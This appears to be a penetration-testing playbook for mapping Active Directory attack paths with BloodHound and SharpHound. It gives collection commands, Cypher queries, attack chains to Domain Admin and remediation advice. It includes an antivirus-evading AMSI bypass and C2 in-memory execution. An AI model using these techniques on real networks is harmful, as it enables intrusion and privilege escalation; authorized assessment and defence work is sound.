Performing Active Directory BloodHound Analysis
Overview
BloodHound is an open-source Active Directory reconnaissance tool that uses graph theory to reveal hidden relationships, attack paths, and privilege escalation opportunities within AD environments. By collecting data with SharpHound (or AzureHound for Azure AD), BloodHound visualizes how an attacker can escalate from a low-privilege user to Domain Admin through chains of misconfigurations, group memberships, ACL abuses, and trust relationships. MITRE ATT&CK classifies BloodHound as software S0521.
When to Use
Trigger phrases:
"performing active directory bloodhound analysis"
"Use BloodHound and SharpHound to enumerate Active Directory relationships and id"
When conducting security assessments that involve performing active directory bloodhound analysis
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Initial foothold on a domain-joined Windows system (or valid domain credentials)
BloodHound CE (Community Edition) or BloodHound Legacy 4.x installed
SharpHound collector (C# binary or PowerShell module)
Neo4j database (Legacy) or PostgreSQL (CE)

Step 1: Data Collection with SharpHound
This section covers step 1: data collection with sharphound for performing active directory bloodhound analysis.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
SharpHound.exe (Preferred for OPSEC)
# Collect all data types (Users, Groups, Computers, Sessions, ACLs, Trusts, GPOs)
.\SharpHound.exe -c All --outputdirectory C:\Temp --zipfilename bloodhound_data.zip
# Stealth mode - collect only structure data (no session enumeration)
.\SharpHound.exe -c DCOnly --outputdirectory C:\Temp
# Collect with specific domain and credentials
.\SharpHound.exe -c All -d corp.local --ldapusername svc_enum --ldappassword Password123
# Loop collection - collect sessions over time for better coverage
.\SharpHound.exe -c Session --loop --loopduration 02:00:00 --loopinterval 00:05:00
# Collect from Havoc C2 Demon session (in-memory)
dotnet inline-execute /tools/SharpHound.exe -c All --memcache --outputdirectory C:\Temp
Invoke-BloodHound (PowerShell)
# Import and run
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Temp -ZipFileName bh.zip
# AMSI bypass before loading (if needed) — strings split to avoid AV signature matching
$t = 'System.Management.Automation.Am' + 'siUtils'
[Ref].Assembly.GetType($t).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
AzureHound (Azure AD)
# Collect Azure AD data
azurehound list -t <tenant-id> --refresh-token <token> -o azure_data.json
# Or using AzureHound PowerShell
Import-Module .\AzureHound.ps1
Invoke-AzureHound
Step 2: Import Data into BloodHound
This section covers step 2: import data into bloodhound for performing active directory bloodhound analysis.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
BloodHound CE (v5+)
# Start BloodHound CE with Docker
curl -L https://ghst.ly/getbhce | docker compose -f - up
# Access web interface at https://localhost:8080# Default credentials: admin / bloodhound# Upload ZIP file via GUI: Upload Data > Select File
BloodHound Legacy
# Start Neo4jsudo neo4j start
# Access Neo4j at http://localhost:7474 (default neo4j:neo4j)# Start BloodHound GUI
./BloodHound --no-sandbox
# Drag and drop ZIP file into BloodHound GUI
Step 3: Attack Path Analysis
This section covers step 3: attack path analysis for performing active directory bloodhound analysis.

Pre-Built Queries (Most Critical)
-- Find all Domain Admins
MATCH (n:Group) WHERE n.name =~ '(?i).*domain admins.*' RETURN n
-- Shortest path from owned user to Domain Admin
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find Kerberoastable users with path to DA
MATCH (u:User {hasspn:true})
MATCH p=shortestPath((u)-[*1..]->(g:Group {name:'DOMAIN ADMINS@CORP.LOCAL'}))
RETURN p
-- Find AS-REP Roastable users
MATCH (u:User {dontreqpreauth:true}) RETURN u.name, u.displayname
-- Users with DCSync rights
MATCH p=(n1)-[:MemberOf|GetChanges*1..]->(u:Domain)
MATCH p2=(n1)-[:MemberOf|GetChangesAll*1..]->(u)
RETURN n1.name
-- Find computers where Domain Users are local admin
MATCH p=(m:Group {name:'DOMAIN USERS@CORP.LOCAL'})-[:AdminTo]->(c:Computer) RETURN p
-- Find unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
-- Find constrained delegation abuse paths
MATCH (u) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
-- GPO abuse paths
MATCH p=(g:GPO)-[r:GpLink]->(ou:OU)-[r2:Contains*1..]->(c:Computer)

-- Find all sessions on high-value targets
MATCH (c:Computer)-[:HasSession]->(u:User)-[:MemberOf*1..]->(g:Group {highvalue:true})
RETURN c.name, u.name, g.name
Custom Cypher Queries
-- Find users with GenericAll on other users (password reset path)
MATCH p=(u1:User)-[:GenericAll]->(u2:User) RETURN u1.name, u2.name
-- Find WriteDACL paths (ACL abuse)
MATCH p=(n)-[:WriteDacl]->(m) WHERE n<>m RETURN p LIMIT 50
-- Find AddMember rights to privileged groups
MATCH p=(n)-[:AddMember]->(g:Group {highvalue:true}) RETURN n.name, g.name
-- Map trust relationships
MATCH p=(d1:Domain)-[:TrustedBy]->(d2:Domain) RETURN d1.name, d2.name

Step 4: Common Attack Paths
This section covers step 4: common attack paths for performing active directory bloodhound analysis.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
Path 1: Kerberoasting to DA
User (owned) -> Kerberoastable SVC Account -> Crack Hash -> SVC is AdminTo Server ->
Server HasSession DA -> Steal Token -> Domain Admin
Path 2: ACL Abuse Chain
User (owned) -> GenericAll on User2 -> Reset Password -> User2 MemberOf ->
IT Admins -> AdminTo DC -> Domain Admin
Path 3: Unconstrained Delegation
User (owned) -> AdminTo Server (Unconstrained Delegation) ->
Coerce DC Auth (PrinterBug/PetitPotam) -> Capture TGT -> DCSync
Path 4: GPO Abuse
User (owned) -> GenericWrite on GPO -> Modify GPO -> Scheduled Task on OU Computers ->
Code Execution as SYSTEM
Step 5: Remediation Recommendations
Finding
Risk
Remediation
Kerberoastable DA
Critical
Use gMSA, rotate passwords, AES-only
Unconstrained Delegation
Critical
Migrate to constrained/RBCD delegation
Domain Users local admin
High
Remove DA from local admin, use LAPS
Excessive ACL permissions
High
Audit and reduce GenericAll/WriteDACL
Stale admin sessions
Medium
Implement session cleanup, restrict RDP
Cross-domain trust abuse
High
Review trust direction and SID filtering
When NOT to Use
You don't have explicit written authorization to test
Task is about defense/detection, not offense (use detection skills)
You need to implement security controls (use implementing-* skills)
